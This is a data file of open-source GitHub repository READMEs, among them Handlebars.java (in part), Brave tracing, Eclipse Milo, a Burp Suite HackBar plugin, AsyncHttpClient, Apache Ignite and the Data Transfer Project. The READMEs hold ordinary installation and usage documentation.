* @param parser The Handlebars parser.
* @return A template.
* @throws IOException If input can't be parsed.
*/
Template get(TemplateSource source, Parser parser) throws IOException;
}
```
As you can see, there isn't a ```put``` method. All the hard work is done in the ```get``` method, which is basically the core of the cache system.
By default, Handlebars.java uses a ```null``` cache implementation (a.k.a. no cache at all) which looks like:
```
Template get(TemplateSource source, Parser parser) throws IOException {
return parser.parse(source);
}
```
In addition to the ```null``` cache, Handlebars.java provides three more implementations:
1. ```ConcurrentMapTemplateCache```: a template cache implementation built on top of a ```ConcurrentMap``` that detects changes in files automatically.
This implementation works very well in general, but there is a small window where two or more threads can compile the same template. This isn't a huge problem with Handlebars.java because the compiler is very very fast.
But if for some reason you don't want this, you can use the ```HighConcurrencyTemplateCache``` template cache.
2. ```HighConcurrencyTemplateCache```: a template cache implementation built on top of ```ConcurrentMap``` that detects changes in files automatically.
This cache implementation eliminates the window created by ```ConcurrentMapTemplateCache``` to ```zero```.
It follows the patterns described in [Java Concurrency in Practice](http://www.amazon.com/Java-Concurrency-Practice-Brian-Goetz/dp/0321349601) and ensures that a template will be compiled just once regardless of the number of threads.
3. ```GuavaTemplateCache```: a template cache implementation built on top of [Google Guava](https://code.google.com/p/guava-libraries/wiki/CachesExplained). Available in [handlebars-guava-cache module](https://github.com/jknack/handlebars.java/tree/master/handlebars-guava-cache)
You can configure Handlebars.java to use a cache by:
```
Handlebars hbs = new Handlebars()
.with(new MyCache());
```
### Using a MissingValueResolver (@deprecated)
NOTE: MissingValueResolver is available in ```<= 1.3.0```. For ```> 1.3.0``` use [Helper Missing](https://github.com/jknack/handlebars.java#helper-missing).
A ```MissingValueResolver``` let you use default values for ```{{variable}}``` expressions resolved to ```null```.
```java
MissingValueResolver missingValueResolver = new MissingValueResolver() {
public String resolve(Object context, String name) {
//return a default value or throw an exception
...;
}
};
Handlebars handlebars = new Handlebars().with(missingValueResolver);
```
### Helper Missing
By default, Handlebars.java throws an ```java.lang.IllegalArgumentException()``` if a helper cannot be resolved.
You can override the default behaviour by providing a special helper: ```helperMissing```. Example:
```java
handlebars.registerHelperMissing(new Helper<Object>() {
@Override
public CharSequence apply(final Object context, final Options options) throws IOException {
return options.fn.text();
}
});
```
### String form parameters
You can access a parameter name if you set the: ```stringParams: true```. Example:
```html
{{sayHi this edgar}}
```
```java
Handlebars handlebars = new Handlebars()
.stringParams(true);
handlebars.registerHelper("sayHi", new Helper<Object>() {
public Object apply(Object context, Options options) {
return "Hello " + options.param(0) + "!";
}
});
```
results in:
```
Hello edgar!
```
How does this work? ```stringParams: true``` instructs Handlebars.java to resolve a parameter to it's name if the value isn't present in the context stack.
### Allow Infinite loops
By default, Handlebars.java doesn't allow a partial to call itself (directly or indirectly).
You can change this by setting the: ```Handlebars.inifiteLoops(true)```, but watch out for a ```StackOverflowError```.
### Pretty Print
The Mustache Spec has some rules for removing spaces and new lines. This feature is disabled by default.
You can turn this on by setting the: ```Handlebars.prettyPrint(true)```.
# Modules
## Jackson 1.x
Maven:
```xml
<dependency>
<groupId>com.github.jknack</groupId>
<artifactId>handlebars-json</artifactId>
<version>${handlebars-version}</version>
</dependency>
```
Usage:
```java
handlebars.registerHelper("json", JacksonHelper.INSTANCE);
```
```
{{json context [view="foo.MyFullyQualifiedClassName"] [escapeHTML=false] [pretty=false]}}
```
Alternative:
```java
handlebars.registerHelper("json", new JacksonHelper().viewAlias("myView",
foo.MyFullyQualifiedClassName.class);
```
```
{{json context [view="myView"] [escapeHTML=false] [pretty=false]}}
```
context: An object, may be null.
view: The name of the [Jackson View](http://wiki.fasterxml.com/JacksonJsonViews). Optional.
escapeHTML: True, if the JSON content contains HTML chars and you need to escaped them. Default is: false.
pretty: True, if the JSON content must be formatted. Default is: false.
## Jackson
Maven:
```xml
<dependency>
<groupId>com.github.jknack</groupId>
<artifactId>handlebars-jackson</artifactId>
<version>${handlebars-version}</version>
</dependency>
```
## SpringMVC
Maven:
```xml
<dependency>
<groupId>com.github.jknack</groupId>
<artifactId>handlebars-springmvc</artifactId>
<version>${handlebars-version}</version>
</dependency>
```
Using value resolvers:
```java
HandlebarsViewResolver viewResolver = ...;
viewResolver.setValueResolvers(...);
```
In addition, the HandlebarsViewResolver add a ```message``` helper that uses the Spring ```MessageSource``` class:
```
{{message "code" [arg]* [default="default message"]}}
```
where:
* code: the message's code. Required.
* arg: the message's argument. Optional.
* default: the default's message. Optional.
Checkout the [HandlebarsViewResolver](https://github.com/jknack/handlebars.java/blob/master/handlebars-springmvc/src/main/java/com/github/jknack/handlebars/springmvc/HandlebarsViewResolver.java).
# Performance
Handlebars.java is a modern and full featured template engine, but also has a very good performance (Hbs):
![Template Comparison](http://jknack.github.io/handlebars.java/images/bench.png)
Benchmark source code is available at: https://github.com/mbosecke/template-benchmark
# Architecture and API Design
* Handlebars.java follows the JavaScript API with some minors exceptions due to the nature of the Java language.
* The parser is built on top of [ANTLR v4] (http://www.antlr.org/).
* Data is provided as primitive types (int, boolean, double, etc.), strings, maps, list or JavaBeans objects.
* Helpers are type-safe.
* Handlebars.java is thread-safe.
## Differences between Handlebars.java and Handlebars.js
Handlebars.java scope resolution follows the Mustache Spec. For example:
Given:
```json
{
"value": "parent",
"child": {
}
}
```
and
```html
Hello {{#child}}{{value}}{{/child}}
```
will be:
```html
Hello parent
```
Now, the same model and template with Handlebars.js is:
```html
Hello
```
That is because Handlebars.js doesn't look in the context stack for missing attributes in the current scope (this is consistent with the Mustache Spec).
Hopefully, you can turn-off the context stack lookup in Handlebars.java by qualifying the attribute with ```this.```:
```html
Hello {{#child}}{{this.value}}{{/child}}
```
## Differences between Handlebars.java and Mustache.js
* Handlebars.java throws a ```java.io.FileNotFoundException``` if a partial cannot be loaded.
## Status
### Mustache 1.0 Compliant
* Passes the 123 tests from the [Mustache Spec](https://github.com/mustache/spec).
* Tests can be found here [comments.yml](https://github.com/jknack/handlebars.java/blob/master/handlebars/src/test/java/specs/CommentsTest.java), [delimiters.yml](https://github.com/jknack/handlebars.java/blob/master/handlebars/src/test/java/specs/DelimitersTest.java), [interpolation.yml](https://github.com/jknack/handlebars.java/blob/master/handlebars/src/test/java/specs/InterpolationTest.java), [inverted.yml](https://github.com/jknack/handlebars.java/blob/master/handlebars/src/test/java/specs/InvertedTest.java), [lambdas.yml](https://github.com/jknack/handlebars.java/blob/master/handlebars/src/test/java/specs/LambdasTest.java), [partials.yml](https://github.com/jknack/handlebars.java/blob/master/handlebars/src/test/java/specs/PartialsTest.java), [sections.yml](https://github.com/jknack/handlebars.java/blob/master/handlebars/src/test/java/specs/SectionsTest.java)
### Handlebars.js Compliant
* Passes all the [Handlebars.js tests](https://github.com/wycats/handlebars.js/blob/master/spec/qunit_spec.js)
* Tests can be found here [basic context](https://github.com/jknack/handlebars.java/blob/master/handlebars/src/test/java/hbs/js/BasicContextTest.java), [string literals](https://github.com/jknack/handlebars.java/blob/master/handlebars/src/test/java/hbs/js/StringLiteralParametersTest.java), [inverted sections](https://github.com/jknack/handlebars.java/blob/master/handlebars/src/test/java/hbs/js/InvertedSectionTest.java), [blocks](https://github.com/jknack/handlebars.java/blob/master/handlebars/src/test/java/hbs/js/BlockTest.java), [block helper missing](https://github.com/jknack/handlebars.java/blob/master/handlebars/src/test/java/hbs/js/BlockHelperMissingTest.java), [helper hash](https://github.com/jknack/handlebars.java/blob/master/handlebars/src/test/java/hbs/js/HelperHashTest.java), [partials](https://github.com/jknack/handlebars.java/blob/master/handlebars/src/test/java/hbs/js/PartialsTest.java)
## Dependencies
```text
+- org.slf4j:slf4j-api:jar:1.6.4
```
## FAQ
## Want to contribute?
* Fork the project on Github.
* Wondering what to work on? See task/bug list and pick up something you would like to work on.
* Do you want to donate one or more helpers? See [handlebars=helpers](https://github.com/jknack/handlebars.java/tree/master/handlebars-helpers) a repository for community's helpers.
* Create an issue or fix one from [issues list](https://github.com/jknack/handlebars.java/issues).
* If you know the answer to a question posted to our [mailing list](https://groups.google.com/forum/#!forum/handlebarsjava) - don't hesitate to write a reply.
* Share your ideas or ask questions on [mailing list](https://groups.google.com/forum/#!forum/handlebarsjava) - don't hesitate to write a reply - that helps us improve javadocs/FAQ.
* If you miss a particular feature - browse or ask on the [mailing list](https://groups.google.com/forum/#!forum/handlebarsjava) - don't hesitate to write a reply, show us some sample code and describe the problem.
* Write a blog post about how you use or extend handlebars.java.
* Please suggest changes to javadoc/exception messages when you find something unclear.
* If you have problems with documentation, find it non intuitive or hard to follow - let us know about it, we'll try to make it better according to your suggestions. Any constructive critique is greatly appreciated. Don't forget that this is an open source project developed and documented in spare time.
## Help and Support
[Help and discussion](https://groups.google.com/forum/#!forum/handlebarsjava)
[Bugs, Issues and Features](https://github.com/jknack/handlebars.java/issues)
## Related Projects
* [Handlebars.js](http://handlebarsjs.com/)
* [Try Handlebars.js](http://tryhandlebarsjs.com/)
* [Mustache](http://mustache.github.io/)
* [ANTLRv4](http://www.antlr.org/)
## Author
[Edgar Espina](https://twitter.com/edgarespina)
## License
[Apache License 2](http://www.apache.org/licenses/LICENSE-2.0.html)
| 0 |
openzipkin/brave | Java distributed tracing implementation compatible with Zipkin backend services. | 2013-04-07T15:48:18Z | null | [![Gitter chat](http://img.shields.io/badge/gitter-join%20chat%20%E2%86%92-brightgreen.svg)](https://gitter.im/openzipkin/zipkin)
[![Build Status](https://github.com/openzipkin/brave/workflows/test/badge.svg)](https://github.com/openzipkin/brave/actions?query=workflow%3Atest)
[![Maven Central](https://img.shields.io/maven-central/v/io.zipkin.brave/brave.svg)](https://search.maven.org/search?q=g:io.zipkin.brave%20AND%20a:brave)
# Brave
Brave is a distributed tracing instrumentation library. Brave typically
intercepts production requests to gather timing data, correlate and
propagate trace contexts. While typically trace data is sent to
[Zipkin server](https://github.com/openzipkin/zipkin/tree/master/zipkin-server),
third-party plugins are available to send to alternate services such as
[Amazon X-Ray](https://github.com/openzipkin/zipkin-aws/tree/master/storage/xray-udp).
This repository includes dependency-free Java libraries and
instrumentation for common components used in production services. For
example, this includes trace filters for Servlet and log correlation for
Apache Log4J.
You can look at our [example project](https://github.com/openzipkin/brave-webmvc-example)
for how to trace a simple web application.
## What's included
Brave's dependency-free [tracer library](brave/) works against JRE6+.
This is the underlying api that instrumentation use to time operations
and add tags that describe them. This library also includes code that
parses `X-B3-TraceId` headers.
Most users won't write tracing code directly. Rather, they reuse
instrumentation others have written. Check our
[instrumentation](instrumentation/) and
[Zipkin's list](https://zipkin.io/pages/tracers_instrumentation.html)
before rolling your own. Common tracing libraries like JDBC, Servlet
and Spring already exist. Instrumentation written here are tested and
benchmarked.
If you are trying to trace legacy applications, you may be interested in
[Spring XML Configuration](spring-beans/). This allows you to set up
tracing without any custom code.
You may want to put trace IDs into your log files, or change thread local
behavior. Look at our [context libraries](context/), for integration with
tools such as SLF4J.
## Version Compatibility policy
All Brave libraries match the minimum Java version of what's being
traced or integrated with, and adds no 3rd party dependencies. The goal
is to neither impact your projects' choices, nor subject your project
to dependency decisions made by others.
For example, even including a basic reporting library,
[zipkin-sender-urlconnection](https://github.com/openzipkin/zipkin-reporter-java),
Brave transitively includes no json,
logging, protobuf or thrift dependency. This means zero concern if your
application chooses a specific version of SLF4J, Gson or Guava.
Moreover, the entire dependency tree including basic reporting in json,
thrift or protobuf is less than 512KiB of jars.
There is a floor Java version of 1.6, which allows older JREs and older
Android runtimes, yet may limit some applications. For example, Servlet
2.5 works with Java 1.5, but due to Brave being 1.6, you will not be
able to trace Servlet 2.5 applications until you use at least JRE 1.6.
All integrations set their associated library to "provided" scope. This
ensures Brave doesn't interfere with the versions you choose.
Some libraries update often which leads to api drift. In some cases, we
test versions ranges to reduce the impact of this. For example, we test
[gRPC](instrumentation/grpc) and [Kafka](instrumentation/kafka-clients)
against multiple library versions.
## Artifacts
All artifacts publish to the group ID "io.zipkin.brave". We use a common
release version for all components.
### Library Releases
Snapshots are uploaded to
[Sonatype](https://oss.sonatype.org/content/repositories/releases) which
synchronizes with
[Maven Central](http://search.maven.org/#search%7Cga%7C1%7Cg%3A%22io.zipkin.brave%22)
### Library Snapshots
Snapshots are uploaded to
[Sonatype](https://oss.sonatype.org/content/repositories/snapshots) after
commits to master.
### Version alignments
When using multiple brave components, you'll want to align versions in
one place. This allows you to more safely upgrade, with less worry about
conflicts.
You can use our Maven instrumentation BOM (Bill of Materials) for this:
Ex. in your dependencies section, import the BOM like this:
```xml
<dependencyManagement>
<dependencies>
<dependency>
<groupId>io.zipkin.brave</groupId>
<artifactId>brave-bom</artifactId>
<version>${brave.version}</version>
<type>pom</type>
<scope>import</scope>
</dependency>
</dependencies>
</dependencyManagement>
```
Now, you can leave off the version when choosing any supported
instrumentation. Also, any indirect use will have versions aligned:
```xml
<dependency>
<groupId>io.zipkin.brave</groupId>
<artifactId>brave-instrumentation-okhttp3</artifactId>
</dependency>
```
With the above in place, you can use the property `brave.version` to
override dependency versions coherently. This is most commonly to test a
new feature or fix.
Note: If you override a version, always double check that your version
is valid (equal to or later) than what you are updating. This will avoid
class conflicts.
| 0 |
eclipse/milo | Eclipse Milo™ - an open source implementation of OPC UA (IEC 62541). | 2016-05-06T13:20:04Z | null | # Eclipse Milo
[![Jenkins](https://img.shields.io/jenkins/build/https/ci.eclipse.org/milo/job/Milo_Deploy.svg)](https://ci.eclipse.org/milo/)
[![Maven Central](https://img.shields.io/maven-central/v/org.eclipse.milo/milo.svg)](https://search.maven.org/#search%7Cgav%7C1%7Cg%3A%22org.eclipse.milo%22%20AND%20a%3A%22milo%22)
Milo is an open-source implementation of OPC UA (currently targeting 1.03). It includes a high-performance stack (channels, serialization, data structures, security) as well as client and server SDKs built on top of the stack.
Stack Overflow tag: [milo](http://stackoverflow.com/questions/tagged/milo)
Mailing list: https://dev.eclipse.org/mailman/listinfo/milo-dev
## Maven
### Building Milo
**Using JDK 8**, run `mvn clean install` from the project root.
To maintain compatibility with Java 8 it is recommended that you build using JDK 8, however the library is runtime compatible with versions 8 and later (e.g. JDK 11, JDK 17).
### Releases
Releases are published to Maven Central and snapshots to Sonatype.
#### OPC UA Client SDK
```xml
<dependency>
<groupId>org.eclipse.milo</groupId>
<artifactId>sdk-client</artifactId>
<version>0.6.12</version>
</dependency>
```
#### OPC UA Server SDK
```xml
<dependency>
<groupId>org.eclipse.milo</groupId>
<artifactId>sdk-server</artifactId>
<version>0.6.12</version>
</dependency>
```
Referencing a `SNAPSHOT` release requires the Sonatype snapshot repository be added to your pom file:
```xml
<repository>
<id>oss-sonatype</id>
<name>oss-sonatype</name>
<url>https://oss.sonatype.org/content/repositories/snapshots/</url>
</repository>
```
## Public Demo Server
An internet-facing demo server is accessible at `opc.tcp://milo.digitalpetri.com:62541/milo`.
It accepts both unsecured and secured connections. Before connecting with security you must upload your client's DER-encoded X509 certificate using the form at http://milo.digitalpetri.com.
Authenticate anonymously or with one of the following credential pairs:
- `user1` / `password`
- `user2` / `password`
- `admin` / `password`
The code powering the demo server is available here: https://github.com/digitalpetri/opc-ua-demo-server
| 0 |
d3vilbug/HackBar | HackBar plugin for Burpsuite | 2018-09-02T16:04:20Z | null | # HackBar (Burpsuite Plugin)
[![Open Source Love](https://badges.frapsoft.com/os/v1/open-source.svg?v=102)](https://github.com/ellerbrock/open-source-badge/)
[![GitHub version](https://d25lcipzij17d.cloudfront.net/badge.svg?id=gh&type=0.2&v=1.0&x2=0)](http://badge.fury.io/gh/boennemann%2Fbadges)
[![Open Source Love](https://badges.frapsoft.com/os/mit/mit.svg?v=102)](https://github.com/ellerbrock/open-source-badge/)
### Usage
<img src="https://i.imgur.com/rlHIJko.gif" />
### Requirements
- Burpsuite
### How to Install
Download Latest Jar from https://github.com/d3vilbug/HackBar/releases/ and add in burpsuite
<img src="https://i.imgur.com/0CP3iCM.gif" />
### Tested on
- Burpsuite 2021.4
- Windows 10
- Ubuntu & PopOS
### Upcoming Features/Modules
- Ctrl + H (shortcut)
- WAF bypass (SQLi)
- Decoder/Encoder
### Greets
- An0n 3xPloiTeR https://github.com/Anon-Exploiter/ for SQLi && XSS payloads
- PayloadsAllTheThings https://github.com/swisskyrepo/PayloadsAllTheThings/
| 0 |
AsyncHttpClient/async-http-client | Asynchronous Http and WebSocket Client library for Java | 2011-03-07T13:41:46Z | null | # Async Http Client
[![Build](https://github.com/AsyncHttpClient/async-http-client/actions/workflows/builds.yml/badge.svg)](https://github.com/AsyncHttpClient/async-http-client/actions/workflows/builds.yml)
![Maven Central](https://img.shields.io/maven-central/v/org.asynchttpclient/async-http-client)
Follow [@AsyncHttpClient](https://twitter.com/AsyncHttpClient) on Twitter.
The AsyncHttpClient (AHC) library allows Java applications to easily execute HTTP requests and asynchronously process HTTP responses.
The library also supports the WebSocket Protocol.
It's built on top of [Netty](https://github.com/netty/netty). It's compiled with Java 11.
## Installation
Binaries are deployed on Maven Central.
Add a dependency on the main AsyncHttpClient artifact:
Maven:
```xml
<dependencies>
<dependency>
<groupId>org.asynchttpclient</groupId>
<artifactId>async-http-client</artifactId>
<version>3.0.0.Beta3</version>
</dependency>
</dependencies>
```
Gradle:
```groovy
dependencies {
implementation 'org.asynchttpclient:async-http-client:3.0.0.Beta3'
}
```
## Version
AHC doesn't use SEMVER, and won't.
* MAJOR = huge refactoring
* MINOR = new features and minor API changes, upgrading should require 1 hour of work to adapt sources
* FIX = no API change, just bug fixes, only those are source and binary compatible with same minor version
Check CHANGES.md for migration path between versions.
## Basics
Feel free to check the [Javadoc](http://www.javadoc.io/doc/org.asynchttpclient/async-http-client/) or the code for more information.
### Dsl
Import the Dsl helpers to use convenient methods to bootstrap components:
```java
import static org.asynchttpclient.Dsl.*;
```
### Client
```java
import static org.asynchttpclient.Dsl.*;
AsyncHttpClient asyncHttpClient=asyncHttpClient();
```
AsyncHttpClient instances must be closed (call the `close` method) once you're done with them, typically when shutting down your application.
If you don't, you'll experience threads hanging and resource leaks.
AsyncHttpClient instances are intended to be global resources that share the same lifecycle as the application.
Typically, AHC will usually underperform if you create a new client for each request, as it will create new threads and connection pools for each.
It's possible to create shared resources (EventLoop and Timer) beforehand and pass them to multiple client instances in the config. You'll then be responsible for closing
those shared resources.
## Configuration
Finally, you can also configure the AsyncHttpClient instance via its AsyncHttpClientConfig object:
```java
import static org.asynchttpclient.Dsl.*;
AsyncHttpClient c=asyncHttpClient(config().setProxyServer(proxyServer("127.0.0.1",38080)));
```
## HTTP
### Sending Requests
### Basics
AHC provides 2 APIs for defining requests: bound and unbound.
`AsyncHttpClient` and Dsl` provide methods for standard HTTP methods (POST, PUT, etc) but you can also pass a custom one.
```java
import org.asynchttpclient.*;
// bound
Future<Response> whenResponse=asyncHttpClient.prepareGet("http://www.example.com/").execute();
// unbound
Request request=get("http://www.example.com/").build();
Future<Response> whenResponse=asyncHttpClient.executeRequest(request);
```
#### Setting Request Body
Use the `setBody` method to add a body to the request.
This body can be of type:
* `java.io.File`
* `byte[]`
* `List<byte[]>`
* `String`
* `java.nio.ByteBuffer`
* `java.io.InputStream`
* `Publisher<io.netty.bufferByteBuf>`
* `org.asynchttpclient.request.body.generator.BodyGenerator`
`BodyGenerator` is a generic abstraction that let you create request bodies on the fly.
Have a look at `FeedableBodyGenerator` if you're looking for a way to pass requests chunks on the fly.
#### Multipart
Use the `addBodyPart` method to add a multipart part to the request.
This part can be of type:
* `ByteArrayPart`
* `FilePart`
* `InputStreamPart`
* `StringPart`
### Dealing with Responses
#### Blocking on the Future
`execute` methods return a `java.util.concurrent.Future`. You can simply block the calling thread to get the response.
```java
Future<Response> whenResponse=asyncHttpClient.prepareGet("http://www.example.com/").execute();
Response response=whenResponse.get();
```
This is useful for debugging but you'll most likely hurt performance or create bugs when running such code on production.
The point of using a non blocking client is to *NOT BLOCK* the calling thread!
### Setting callbacks on the ListenableFuture
`execute` methods actually return a `org.asynchttpclient.ListenableFuture` similar to Guava's.
You can configure listeners to be notified of the Future's completion.
```java
ListenableFuture<Response> whenResponse = ???;
Runnable callback = () - > {
try {
Response response = whenResponse.get();
System.out.println(response);
} catch (InterruptedException | ExecutionException e) {
e.printStackTrace();
}
};
java.util.concurrent.Executor executor = ???;
whenResponse.addListener(() - > ??? , executor);
```
If the `executor` parameter is null, callback will be executed in the IO thread.
You *MUST NEVER PERFORM BLOCKING* operations in there, typically sending another request and block on a future.
#### Using custom AsyncHandlers
`execute` methods can take an `org.asynchttpclient.AsyncHandler` to be notified on the different events, such as receiving the status, the headers and body chunks.
When you don't specify one, AHC will use a `org.asynchttpclient.AsyncCompletionHandler`;
`AsyncHandler` methods can let you abort processing early (return `AsyncHandler.State.ABORT`) and can let you return a computation result from `onCompleted` that will be used
as the Future's result.
See `AsyncCompletionHandler` implementation as an example.
The below sample just capture the response status and skips processing the response body chunks.
Note that returning `ABORT` closes the underlying connection.
```java
import static org.asynchttpclient.Dsl.*;
import org.asynchttpclient.*;
import io.netty.handler.codec.http.HttpHeaders;
Future<Integer> whenStatusCode = asyncHttpClient.prepareGet("http://www.example.com/")
.execute(new AsyncHandler<Integer> () {
private Integer status;
@Override
public State onStatusReceived(HttpResponseStatus responseStatus) throws Exception {
status = responseStatus.getStatusCode();
return State.ABORT;
}
@Override
public State onHeadersReceived(HttpHeaders headers) throws Exception {
return State.ABORT;
}
@Override
public State onBodyPartReceived(HttpResponseBodyPart bodyPart) throws Exception {
return State.ABORT;
}
@Override
public Integer onCompleted() throws Exception{
return status;
}
@Override
public void onThrowable(Throwable t) {
t.printStackTrace();
}
});
Integer statusCode = whenStatusCode.get();
```
#### Using Continuations
`ListenableFuture` has a `toCompletableFuture` method that returns a `CompletableFuture`.
Beware that canceling this `CompletableFuture` won't properly cancel the ongoing request.
There's a very good chance we'll return a `CompletionStage` instead in the next release.
```java
CompletableFuture<Response> whenResponse=asyncHttpClient
.prepareGet("http://www.example.com/")
.execute()
.toCompletableFuture()
.exceptionally(t->{ /* Something wrong happened... */ })
.thenApply(response->{ /* Do something with the Response */ return resp;});
whenResponse.join(); // wait for completion
```
You may get the complete maven project for this simple demo
from [org.asynchttpclient.example](https://github.com/AsyncHttpClient/async-http-client/tree/master/example/src/main/java/org/asynchttpclient/example)
## WebSocket
Async Http Client also supports WebSocket.
You need to pass a `WebSocketUpgradeHandler` where you would register a `WebSocketListener`.
```java
WebSocket websocket=c.prepareGet("ws://demos.kaazing.com/echo")
.execute(new WebSocketUpgradeHandler.Builder().addWebSocketListener(
new WebSocketListener(){
@Override
public void onOpen(WebSocket websocket){
websocket.sendTextFrame("...").sendTextFrame("...");
}
@Override
public void onClose(WebSocket websocket) {
// ...
}
@Override
public void onTextFrame(String payload,boolean finalFragment,int rsv){
System.out.println(payload);
}
@Override
public void onError(Throwable t){
t.printStackTrace();
}
}).build()).get();
```
## WebDAV
AsyncHttpClient has build in support for the WebDAV protocol.
The API can be used the same way normal HTTP request are made:
```java
Request mkcolRequest=new RequestBuilder("MKCOL").setUrl("http://host:port/folder1").build();
Response response=c.executeRequest(mkcolRequest).get();
```
or
```java
Request propFindRequest=new RequestBuilder("PROPFIND").setUrl("http://host:port").build();
Response response=c.executeRequest(propFindRequest,new AsyncHandler() {
// ...
}).get();
```
## More
You can find more information on Jean-François Arcand's blog. Jean-François is the original author of this library.
Code is sometimes not up-to-date but gives a pretty good idea of advanced features.
* http://web.archive.org/web/20111224171448/http://jfarcand.wordpress.com/2011/01/12/going-asynchronous-using-asynchttpclient-for-dummies/
* http://web.archive.org/web/20111224171241/http://jfarcand.wordpress.com/2010/12/21/going-asynchronous-using-asynchttpclient-the-basic/
* http://web.archive.org/web/20111224162752/http://jfarcand.wordpress.com/2011/01/04/going-asynchronous-using-asynchttpclient-the-complex/
* http://web.archive.org/web/20120218183108/http://jfarcand.wordpress.com/2011/12/21/writing-websocket-clients-using-asynchttpclient/
## User Group
Keep up to date on the library development by joining the Asynchronous HTTP Client discussion group
[GitHub Discussions](https://github.com/AsyncHttpClient/async-http-client/discussions)
## Contributing
Of course, Pull Requests are welcome.
Here are the few rules we'd like you to respect if you do so:
* Only edit the code related to the suggested change, so DON'T automatically format the classes you've edited.
* Use IntelliJ default formatting rules.
* Regarding licensing:
* You must be the original author of the code you suggest.
* You must give the copyright to "the AsyncHttpClient Project"
| 0 |
apache/ignite | Apache Ignite | 2015-02-19T08:00:05Z | null | # Apache Ignite
<a href="https://ignite.apache.org/"><img src="https://github.com/apache/ignite-website/blob/master/assets/images/apache_ignite_logo.svg" hspace="20"/></a>
[![Build Status](https://travis-ci.org/apache/ignite.svg?branch=master)](https://travis-ci.org/apache/ignite)
[![GitHub](https://img.shields.io/github/license/apache/ignite?color=blue)](https://www.apache.org/licenses/LICENSE-2.0.html)
[![Maven Central](https://maven-badges.herokuapp.com/maven-central/org.apache.ignite/ignite-core/badge.svg)](https://search.maven.org/search?q=org.apache.ignite)
[![GitHub release](https://img.shields.io/badge/release-download-brightgreen.svg)](https://ignite.apache.org/download.cgi)
![GitHub commit activity](https://img.shields.io/github/commit-activity/m/apache/ignite)
[![Twitter Follow](https://img.shields.io/twitter/follow/ApacheIgnite?style=social)](https://twitter.com/ApacheIgnite)
## What is Apache Ignite?
Apache Ignite is a distributed database for high-performance computing with in-memory speed.
<p align="center">
<a href="https://ignite.apache.org">
<img src="https://github.com/apache/ignite-website/blob/master/docs/2.9.0/images/ignite_clustering.png" width="400px"/>
</a>
</p>
* [Technical Documentation](https://ignite.apache.org/docs/latest/)
* [JavaDoc](https://ignite.apache.org/releases/latest/javadoc/)
* [C#/.NET APIs](https://ignite.apache.org/releases/latest/dotnetdoc/api/)
* [C++ APIs](https://ignite.apache.org/releases/latest/cppdoc/)
## Multi-Tier Storage
Apache Ignite is designed to work with memory, disk, and Intel Optane as active storage tiers. The memory tier allows using DRAM and Intel® Optane™ operating in the Memory Mode for data storage and processing needs. The disk tier is optional with the support of two options -- you can persist data in an external database or keep it in the Ignite native persistence. SSD, Flash, HDD, or Intel Optane operating in the AppDirect Mode can be used as a storage device.
[Read More](https://ignite.apache.org/arch/multi-tier-storage.html)
## Ignite Native Persistence
Even though Apache Ignite is broadly used as a caching layer on top of external databases, it comes with its native persistence - a distributed, ACID, and SQL-compliant disk-based store. The native persistence integrates into the Ignite multi-tier storage as a disk tier that can be turned on to let Ignite store more data on disk than it can cache in memory and to enable fast cluster restarts.
[Read More](https://ignite.apache.org/arch/persistence.html)
## ACID Compliance
Data stored in Ignite is ACID-compliant both in memory and on disk, making Ignite a **strongly consistent** system. Ignite transactions work across the network and can span multiple servers.
[Read More](https://ignite.apache.org/features/transactions.html)
## ANSI SQL Support
Apache Ignite comes with a ANSI-99 compliant, horizontally scalable, and fault-tolerant SQL engine that allows you to interact with Ignite as with a regular SQL database using JDBC, ODBC drivers, or native SQL APIs available for Java, C#, C++, Python, and other programming languages. Ignite supports all DML commands, including SELECT, UPDATE, INSERT, and DELETE queries as well as a subset of DDL commands relevant for distributed systems.
[Read More](https://ignite.apache.org/features/sql.html)
## High-Performance Computing
High-performance computing (HPC) is the ability to process data and perform complex calculations at high speeds. Using Apache Ignite as a [high-performance compute cluster](https://ignite.apache.org/use-cases/hpc.html), you can turn a group of commodity machines or a cloud environment into a distributed supercomputer of interconnected Ignite nodes. Ignite enables speed and scale by processing records in memory and reducing network utilization with APIs for data and compute-intensive calculations. Those APIs implement the MapReduce paradigm and allow you to run arbitrary tasks across the cluster of nodes.
| 0 |
google/data-transfer-project | The Data Transfer Project makes it easy for people to transfer their data between online service providers. We are establishing a common framework, including data models and protocols, to enable direct transfer of data both into and out of participating online service providers. | 2018-01-04T21:27:57Z | null | # Data Transfer Project
## Overview
The Data Transfer Project makes it easy for people to transfer their data between online services. We provide a common framework and ecosystem to accept contributions from service providers to enable seamless transfer of data into and out of their service.
## Who We Are
Data Transfer Project (DTP) is a collaboration of organizations committed to building a common framework with open-source code that can connect any two online service providers, enabling a seamless, direct transfer of data.
We want all individuals across the web to be in control of their data.
## More info
* [Repository master branch](https://github.com/google/data-transfer-project)
* [Developer documentation](Documentation/Developer.md)
* [Contributing](CONTRIBUTING.md)
* [Code of Conduct](CODE_OF_CONDUCT.md)
## Current State
Data Transfer Project is in its early stages, and we are actively looking for partner organizations and individuals to contribute to the project. We are continuing to define the architecture and implementation. Since the code is in active development, please do thorough testing and verification before implementing.
## Contact Info
Please contact [dtp-discuss@googlegroups.com](mailto:dtp-discuss@googlegroups.com)
with any questions or comments.
## About Us
The Data Transfer Project was formed in 2017 to create an open-source, service-to-service portability platform so that all individuals across the web could easily move their data between online service providers.
The partners in the Data Transfer Project believe portability and interoperability are central to innovation. Making it easier for individuals to choose among services facilitates competition, empowers individuals to try new services and enables them to choose the offering that best suits their needs.
We anticipate the Data Transfer Project solution will make a particularly big impact in global markets where downloading or uploading data is expensive and/or slow. The Data Transfer Project eliminates the need to download data at all. Instead, data is transferred directly between service providers.
#### DTP is early-stage open source code that is built and maintained entirely by DTP community members.
| 0 |
xmuSistone/DragRankSquare | edit personal information which enables users to drag and rank image order | 2016-05-27T07:13:04Z | null | # android-drag-square
edit personal data which enables users to drag and rank image order
编辑个人资料,图片可拖拽排序。有点像可拖拽的gridView,但是会更流畅。这个demo是探探的个人资料编辑页面,受网上一位朋友的委托,该库模仿了其拖动效果。<br><br>
探探的安卓工程师,应该特别牛逼吧。因为最初时,这种拖拽效果真的无从下手。反编译探探的源代码,发现它做了很严肃的混淆处理。然后用Hierarchy Viewer看了View的层级,这才有了一点点的思路。<br><br>
在代码撰写的过程中,我也踩了不少坑。细看代码深处,或许你会有一丝丝的收获吧。<br><br>
当然,在最初的最初,我搜了不少的draggable gridview的仓库,可惜用起来的时候发现不够流畅、不够灵活。
### 截图
![PREVIEW](capture1.gif)
![PREVIEW](capture3.gif)
### Apk下载
[apk download](app-release.apk) (就在该工程之中)
| 0 |
